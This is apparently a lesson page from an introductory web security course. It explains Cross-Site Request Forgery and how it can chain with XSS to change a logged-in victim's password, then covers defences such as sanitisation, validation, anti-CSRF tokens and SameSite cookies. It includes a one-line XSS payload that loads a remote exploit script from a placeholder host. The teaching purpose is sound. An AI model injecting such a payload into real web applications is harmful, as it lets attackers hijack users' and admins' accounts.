Cross-Site Request Forgery (CSRF)

The third type of front end vulnerability that is caused by unfiltered user input is Cross-Site Request Forgery (CSRF). `CSRF` attacks may utilize `XSS` vulnerabilities to perform certain queries, and `API` calls on a web application that the victim is currently authenticated to. This would allow the attacker to perform actions as the authenticated user. It may also utilize other vulnerabilities to perform the same functions, like utilizing HTTP parameters for attacks.

A common `CSRF` attack to gain higher privileged access to a web application is to craft a `JavaScript` payload that automatically changes the victim's password to the value set by the attacker. Once the victim views the payload on the vulnerable page (e.g., a malicious comment containing the `JavaScript CSRF` payload), the `JavaScript` code would execute automatically. It would use the victim's logged-in session to change their password. Once that is done, the attacker can log in to the victim's account and control it.

`CSRF` can also be leveraged to attack admins and gain access to their accounts. Admins usually have access to sensitive functions, which can sometimes be used to attack and gain control over the back-end server (depending on the functionality provided to admins within a given web application). Following this example, instead of using `JavaScript` code that would return the session cookie, we would load a remote `.js` (`JavaScript`) file, as follows:

Code: html

```
"><script src=//www.example.com/exploit.js></script>
```

The `exploit.js` file would contain the malicious `JavaScript` code that changes the user's password. Developing the `exploit.js` in this case requires knowledge of this web application's password changing procedure and `APIs`. The attacker would need to create `JavaScript` code that would replicate the desired functionality and automatically carry it out (i.e., `JavaScript` code that changes our password for this specific web application).

Prevention

Though there should be measures on the back end to detect and filter user input, it is also always important to filter and sanitize user input on the front end before it reaches the back end, and especially if this code may be displayed directly on the client-side without communicating with the back end. Two main controls must be applied when accepting user input:

Type	Description
`Sanitization`	Removing special characters and non-standard characters from user input before displaying it or storing it.
`Validation`	Ensuring that submitted user input matches the expected format (i.e., submitted email matched email format)

Furthermore, it is also important to sanitize displayed output and clear any special/non-standard characters. In case an attacker manages to bypass front end and back end sanitization and validation filters, it will still not cause any harm on the front end.

Once we sanitize and/or validate user input and displayed output, we should be able to prevent attacks like `HTML Injection` and `XSS`. Another solution would be to implement a web application firewall (WAF), which can help prevent injection attempts automatically. However, it should be noted that WAF solutions can potentially be bypassed, so developers should follow coding best practices and not merely rely on an appliance to detect/block attacks.

To defend against `XSS`, modern browsers have built-in protections that block the automatic execution of Javascript code. In the case of `CSRF`, most modern web applications include anti-CSRF mechanisms, such as requiring a unique token for each session or request. Additionally, HTTP-level defenses like the `SameSite` cookie attribute (`SameSite=Strict` or `Lax`) can restrict browsers from including authentication cookies in cross-origin requests. Functional protections, like requiring the user to input their password before changing it, can also help mitigate the impact of CSRF. Despite these security measures, they can still be bypassed in certain scenarios. As a result, vulnerabilities like XSS and CSRF continue to pose significant risks to web application users. These defenses should be treated as additional layers of protection, not primary safeguards—developers must ensure that their applications are secure by design and not inherently vulnerable to such attacks.

This Cross-Site Request Forgery Prevention Cheat Sheet from OWASP discusses the attack and prevention measures in greater detail.

Previous Next

Mark Complete & Next

Table of Contents

Introduction to Web Applications
- Introduction
- Web Application Layout
- Front End vs. Back End

Front End Components
- HTML
- Cascading Style Sheets (CSS)
- JavaScript

Front End Vulnerabilities
- Sensitive Data Exposure
- HTML Injection
- Cross-Site Scripting (XSS)
- Cross-Site Request Forgery (CSRF)

Back End Components
- Back End Servers
- Web Servers
- Databases
- Development Frameworks & APIs

Back End Vulnerabilities
- Common Web Vulnerabilities
- Public Vulnerabilities

Next Steps
- Next Steps